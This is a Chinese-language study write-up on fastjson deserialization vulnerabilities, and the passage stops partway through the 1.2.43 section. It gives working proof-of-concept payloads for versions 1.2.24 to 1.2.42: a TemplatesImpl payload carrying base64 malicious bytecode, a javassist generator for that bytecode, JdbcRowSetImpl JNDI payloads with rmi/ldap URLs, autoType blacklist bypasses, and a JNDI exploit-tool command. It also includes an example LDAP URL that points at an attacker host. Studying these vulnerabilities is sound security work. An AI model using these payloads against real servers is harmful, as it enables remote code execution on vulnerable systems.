0%

fastjson入门学习

记录对java安全的初次探索

fastjson入门学习

参考文章

前置知识

简介

Fastjson是一个Java语言编写的高性能JSON解析库,它提供了强大的JSON处理能力,能够在Java对象和JSON之间进行快速、灵活的相互转换。

fastjson如何用

在IDEA创建一个maven项目,打开pox.xml在末尾添加如下代码

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.50</version>
</dependency>
</dependencies>

添加完记得点击右侧的maven重新加载

然后就可以编写简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;
import com.alibaba.fastjson.JSON;

public class Main {

public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);

// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}

// 定义一个简单的 Java 类
public static class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}
}
}

这段代码很好的展示了Fastjson应用的方便之处,可以将Java对象和JSON之间快速转换,执行结果如下

此外我们可以注意到下面这行代码的表述吗,用的是Person.class来直接进行映射,这是由于Java类的属性名和JSON字段名是相同的

1
Person person2 = JSON.parseObject(jsonString2, Person.class);

如果不相同的话,可以使用@JSONField注解来指定Java类的属性和JSON字段之间的映射关系

demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;

public class Main {

public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);

// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"user_age\":20,\"user_name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}

// 定义一个简单的 Java 类
public static class Person {
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}
}
}

运行结果如下,会发现也能成功在Java类的属性和JSON字段之间进行转换

我们注意到明明实例化的是Person person = new Person("Alice", 18);为什么属性顺序是反过来的,原因是在fastjson中,默认情况下,生成的JSON字符串的顺序是按照属性的字母顺序进行排序的,而不是按照属性在类中的声明顺序。如果我们希望按照属性在类中的声明顺序来生成JSON字符串,可以通过在类中使用@JSONType注解来设置属性的序列化顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONType;

public class Main {

public static void main(String[] args) {
// 将一个 Java 对象序列化为 JSON 字符串
Person person = new Person("Alice", 18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);

// 将一个 JSON 字符串反序列化为 Java 对象
String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);
System.out.println(person2.getName() + ", " + person2.getAge());
}

// 定义一个简单的 Java 类
@JSONType (orders = {"name","age"})
public static class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

}
}

我们通过@JSONType(orders = {"name", "age"})来指定属性的序列化顺序,这样就是name在前,age在后了

了解一些基本的注解后我们来看看@type

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjsonJSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;

public class Main {

public static void main(String[] args) throws IOException {
String json="{\"@type\":\"java.lang.Runtime\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime=(Runtime) JSON.parseObject(json, Object.class);
runtime.exec("calc.exe");

}
}

我们详细分析下代码

1
import java.io.IOException;

我们导入Java标准库中的IOException异常类,因为如果发生了I/O错误(如本demo的弹calc),又或者无法执行命令或读取命令输出时,会抛出IOException

我们先定义json其中@type属性的值为java.lang.Runtime,然后执行下面语句指定在JSON解析过程中,允许反序列化指定的类或包

1
ParserConfig.getGlobalInstance().addAccept("java.lang");

接着使用parseObject方法,将JSON字符串解析为Java对象

(由于fastjson1.2.24之后默认禁用AutoType,因此这里我们通过下面命令来开启,否则会报错autoType is not support。)

1
Runtime runtime=(Runtime) JSON.parseObject(json, Object.class);

然后成功弹出计算器

我们继续看下面demo,先创建Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

public class Person {
private String name;
private int age;
public Person(){}

public String toString(){
return "Person{"+"name="+name+", age="+age+'}';
}
public Person(String name,int age){
this.name=name;
this.age=age;
}
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age=age;
}
}

然后再看向main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
public static void main(String[] args){
Person user=new Person();
user.setName("rev1ve");
user.setAge(18);
String s1=JSON.toJSONString(user,SerializerFeature.WriteClassName);
System.out.println(s1);
}
}

输出结果为

与前面代码对比,可以发现其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析

然后我们可以通过以下三种方式来反序列化json字符串了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 方法一(返回JSONObject对象):
Person user = new Person();
user.setAge(18);
user.setName("rev1ve");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parse(s1);
System.out.println(jsonObject);

// 方法二:
Person user = new Person();
user.setAge(18);
user.setName("rev1ve");
String s = JSON.toJSONString(user);
Person user1 = JSON.parseObject(s, Person.class); //反序列化转化为目标类型Person类
System.out.println(user1);

// 方法三:
Person user = new Person();
user.setAge(18);
user.setName("rev1ve");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
Person user1 = JSON.parseObject(s1,Person.class);
System.out.println(user1);

执行结果均为

1
Person{name=rev1ve, age=18}

JNDI是什么

JNDIJava平台的一种API,它提供了访问各种命名和目录服务的统一方式。JNDI通常用于在JavaEE应用程序中查找和访问资源,如JDBC数据源、JMS连接工厂和队列等。

RMI是什么

RMI指的是远程方法调用(Remote Method Invocation),是Java平台提供的一种机制,可以实现在不同Java虚拟机之间进行方法调用。

我们直接看下面使用了RMIdemo代码,包括一个服务器端和一个客户端。这个demo实现了一个简单的计算器程序,客户端通过RMI调用服务器端的方法进行加、减、乘、除四则运算。

Calculator.java(计算机接口)

1
2
3
4
5
6
7
8
9
10
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Calculator extends Remote {
public int add(int a,int b) throws RemoteException;
public int subtract(int a,int b) throws RemoteException;
public int multiply(int a,int b) throws RemoteException;
public int divide(int a,int b) throws RemoteException;
}

public interface Calculator extends Remote表示此接口是远程接口,提供加减乘除的运算操作

Server.java(服务端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;//作用是导出远程对象

public class Server extends UnicastRemoteObject implements Calculator {
public Server() throws RemoteException{}
public int add(int x, int y) throws RemoteException {
return x + y;
}
public int subtract(int a, int b) throws RemoteException {
return 0;
}
public int multiply(int a, int b) throws RemoteException {
return 0;
}
public int divide(int a, int b) throws RemoteException {
return 0;
}

public static void main(String[] args) {
try{
Server obj=new Server();
//在端口号1028上创建RMI注册表
LocateRegistry.createRegistry(1028);
//获取指定1028端口上的RMI注册表实例的代码
Registry registry = LocateRegistry.getRegistry(1028);
//将远程对象Calculator绑定到RMI注册表的代码
registry.bind("Calculator", obj);
System.out.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

Client.java(客户端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
private Client(){}

public static void main(String[] args) {
try {
//获取localhost指定1028端口上的RMI注册表实例的代码
Registry registry=LocateRegistry.getRegistry("localhost",1028);
//寻找registry的远程对象Calculator
Calculator calc=(Calculator) registry.lookup("Calculator");
//调用远程方法
int result=calc.add(5,7);

System.out.println("Result:"+result);
}catch (Exception e){
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}

demo执行过程如下

创建RMI注册表,然后将远程对象Calculator绑定,运行代码启动服务

然后在客户端运行代码成功执行运算过程

image-20240324220536033

LDAP是什么

LDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。在Java安全中,LDAP通常用于集成应用程序与企业目录服务(例如Microsoft Active DirectoryOpenLDAP)的认证和授权功能。

我们通过公司-员工管理的例子来理解Fastjson系列漏洞中ldap的作用

假设有一个名为”example.com“的公司,需要存储和管理员工信息。他们使用LDAP作为员工信息的目录服务,每个员工都在LDAP中有一个唯一的标识符(DN),举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
DN: uid=john,ou=People,dc=example,dc=com
cn: John Doe
sn: Doe
givenName: John
uid: john
userPassword: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=

DN: uid=alice,ou=People,dc=example,dc=com
cn: Alice Smith
sn: Smith
givenName: Alice
uid: alice
userPassword: {SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=

上图两位员工的DN由四个RDN(与DN相对区分)组成,分别是uid=john,ou=People,dc=example,dc=com

可以使用LDAP查询语句来检索员工信息,例如(&(objectClass=person)(uid=john))

&表示AND操作符,实现多个查询条件,这里表示查找所有objectClassperson,且uidjohn的员工信息

而在Fastjson漏洞中,攻击者可以通过构造特定的LDAP查询语句,来执行任意代码或获取敏感信息。

例如下面JSON字符串包含恶意构造LDAP url

1
{"@type":"java.net.URL","value":"ldap://hackvps.com/exp"}

Fastjson解析该JSON字符串时,会触发LDAP查询操作,查询hackervps.com上的LDAP服务,并执行名为“exp”的操作。这就是Fastjson漏洞的成因之一。

java反射是什么

我们通过下面demo来进行理解

如果我们不用反射的话,我们写的代码会是下面这样

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public void sayHello() {
System.out.println("Hello, my name is " + name + ", I'm " + age + " years old.");
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

Main.java

1
2
3
4
5
6
7
8
9
package org.example;
public class Main {
public static void main(String[] args){
Person person=new Person("张三",20);
person.sayHello();
person.setAge(18);
System.out.println(person);
}
}

输出结果如下

可以看到,我们一开始设置人的名字为张三,年龄为20,然后我们通过setAge方法来修改PersonAge属性,把年龄改成18
但是这么写是有问题的,因为我们不可能总是在编译之前就已经确定好我们要具体改什么值了,我们更希望这个值可以动态变化,所以需要用到Java反射技术。我们可以修改上面的Main.java为如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws Exception {
// 获取Person类的Class对象
Class<?> clazz = Class.forName("org.example.Person");

// 先获取构造函数,然后创建Person对象
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object person = constructor.newInstance("张三", 20);

// 调用Person对象的sayHello方法
Method method = clazz.getMethod("sayHello");
method.invoke(person);

// 绕过私有字段的访问限制,修改Person对象的age属性
Field field = clazz.getDeclaredField("age");
field.setAccessible(true);
field.set(person, 18);

// 输出修改后的Person对象信息
System.out.println(person);
}
}

与漏洞的联系

为什么要用到反射,而不是直接调用java.lang.runtime来执行命令?

比如下面弹计算器

1
2
3
4
5
6
7
8
9
package org.example;

import org.apache.commons.io.IOUtils;

public class Main {
public static void main(String[] args) throws Exception {
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("calc.exe").getInputStream(), "UTF-8"));
}
}

要运行上述代码,需要在maven中引入如下依赖

1
2
3
4
5
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.11.0</version>
</dependency>

添加完记得点击右侧的maven重新加载

这样就成功弹出计算器

可是既然这么做可以执行命令,为什么还要搞反射呢?

原来Java安全机制会对代码的执行进行限制,例如限制代码的访问权限、限制代码的资源使用等。如果代码需要执行一些危险的操作,例如执行系统命令,就需要获取Java的安全权限。如果代码没有通过安全检测,就无法执行危险操作。而反射机制可以绕过Java安全机制的限制,从而执行危险操作。

我们以环境java8为例,demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception {
//加载java.lang.Runtime类
Class<?> runtimeClass=Class.forName("java.lang.Runtime");
//获取该类的exec方法并且接受String参数
Method execMethod=runtimeClass.getMethod("exec",String.class);
//通过反射调用方法,执行系统命令并返回一个Process对象
Process process=(Process) execMethod.invoke(Runtime.getRuntime(),"calc.exe");
//下面两行将进程的标准输出流转换为更方便读取的字符流形式
InputStream in=process.getInputStream();
BufferedReader reader=new BufferedReader(new InputStreamReader(in));
String line;
//使用BufferedReader进行逐行读取
while((line=reader.readLine())!=null){
System.out.println(line);
}
}
}

成功弹出计算器

漏洞学习

fastjson<=1.2.24 反序列化漏洞(CVE-2017-18349)

(学习TemplatesImpl链的相关知识)

我们导入Fastjson1.2.23并自动下载相关依赖

然后写入如下代码至Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAEG9yZy9leGFtcGxlL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADAAEAA0ADQAOAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFAAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAXAAgAGAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\n\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}

运行代码成功弹出计算器

漏洞分析

上面json字符串test的_bytecodes内容是下面内容编译成.class文件再base64加密后的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}

public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

我们定义Test类继承AbstractTranslet类,然后通过构造方法执行calc的命令。而下面两行的transform方法都是实现AbstractTranslet接口的抽象方法,具体来说的话,第一个transform带有SerializationHandler参数,是为了把XML文档转换为另一种格式,第二个transform带有DTMAxisIterator参数,是为了对XML文档中的节点进行迭代。

实际上就是我们Test t = new Test();实例化的时候,假装要把xml文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc,所以会弹出计算器。

为什么要继承AbstractTranslet类

在实战场景中,JavaClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的示例,但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在ClassLoader类中访问,不能被其他包中的类访问

而由于我们前面编写的poc中两个transform方法都来自AbstractTranslet类,那么子类可以通过调用父类的公共方法来实现对私有属性的操作,这也能解释下面的链子是如何实现的

但是,我们注意到在TransletClassLoader类中,defineClass调用了ClassLoader里面的defineClass方法

然后追踪TransletClassLoader,发现是defineTransletClasses

再往上,发现是getTransletInstance

到此为止,要么是Private修饰要么就是Protected修饰,再往上继续追踪,发现是newTransformer,可以看到此时已经是public

因此,我们的利用链是:

1
TemplatesImpl::newTransformer() -> TemplatesImpl::getTransletInstance() -> TemplatesImpl::defineTransletClasses() -> TransletClassLoader::defineClass()

最终poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class Main {
public static class test{
}

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

cc.makeClassInitializer().insertBefore(cmd);

String randomClassName = "rev1ve" + System.nanoTime();
cc.setName(randomClassName);

cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'rev1ve',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

成功弹出计算器

fastjson 1.2.25 反序列化漏洞

(学习JdbcRowSetImpl链的相关知识)

黑白名单机制介绍

众所周知,在fastjson自爆1.2.24版本的反序列化漏洞后,1.2.25版本就加入了黑白名单机制。
例如我们更换1.2.25版本的fastjson,然后再去执行原来的poc会发现提示autoType is not support

查看源码可以发现这里定义了反序列化类的黑名单

具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

接下来我们定位到checkAutoType()方法,看一下它的逻辑。如果autoType(也就是autoTypeSupport)开启或者class对象不为空,那么先判断类名在不在白名单中,若有则TypeUtils.loadClass去加载,如果不在就去匹配黑名单

如果没开启autoType那么先匹配黑名单,然后再白名单匹配和加载

最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType或者expectClass不为空也就是指定了Class对象时才会调用TypeUtils.loadClass加载,否则fastjson会默认禁止加载该类。

我们跟进下加载时的loadClass方法

如果类名的字符串以[开头,则说明该类是一个数组类型,需要递归调用loadClass方法来加载数组元素类型对应的Class对象,然后使用Array.newIntrance方法来创建一个空数组对象,最后返回该数组对象的Class对象;如果类名的字符串以L开头并以;结尾,则说明该类是一个普通的Java类,需要把开头的L和结尾的;给去掉,然后递归调用loadClass

黑白名单绕过的复现(jkd版本问题未成功)

分析完后,复现绕过我们需要先开启默认禁用的autoType,这里我们添加代码即可

1
2
3
//以下两种都行
ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb.");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然后启动利用工具 下载地址

1
java -jar ./JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"

在Main.java写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://127.0.0.1:1389/18zmzg\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}

运行结果如下

对两种poc绕过手法的分析

首先来说说限制,基于JNDI+RMIJDNI+LADP进行攻击,会有一定的JDK版本限制

1
2
RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113
LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191

第一种poc(1.2.25-1.2.47通杀!!!)

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/exp","autoCommit":true}}

第二种poc

绕过检测L;

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}";
JSONObject.parse(payload);
}
}

关于JdbcRowSetImpl链利用的分析

从上面我们学习了绕过黑白名单的学习,接下来看JdbcRowSetImpl利用链的原理。 根据FastJson反序列化漏洞原理,FastJsonJSON字符串反序列化到指定的Java类时,会调用目标类的gettersetter等方法。JdbcRowSetImpl类的setAutoCommit()会调用connect()方法

connect()函数如下

我们注意这两行代码

1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

执行过程是从命名和目录服务中查找指定名称的数据源,并将其赋值给 var2 变量

我们可以用下面demo测试下,成功弹出计算器

org.example;
1
2
3
4
5
6
7
8
9
import com.sun.rowset.JdbcRowSetImpl;

public class Main {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/ift2ty");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

所以说为什么之前的两种poc可以直接自定义uri利用成功。

fastjson 1.2.42 反序列化漏洞

导入fastjson 1.2.25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>fastjson_1_2_42</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
</dependencies>

</project>

我们找到ParserConfig.class反编译一下得到java文件

注意到checkAutoType这里进行判断,仅仅是把原来的L;换成了hash的形式

所以直接双写L;即可,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\", \"autoCommit\":true}";
JSONObject.parse(payload);
}
}

fastjson 1.2.43 反序列化漏洞

修改之前的pom.xml里面的版本为1.2.43。 直接全局搜索checkAutoType,看修改后的代码

如果出现连续的两个L就报错,但是并没有对[限制,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ldap 和 rmi都可以
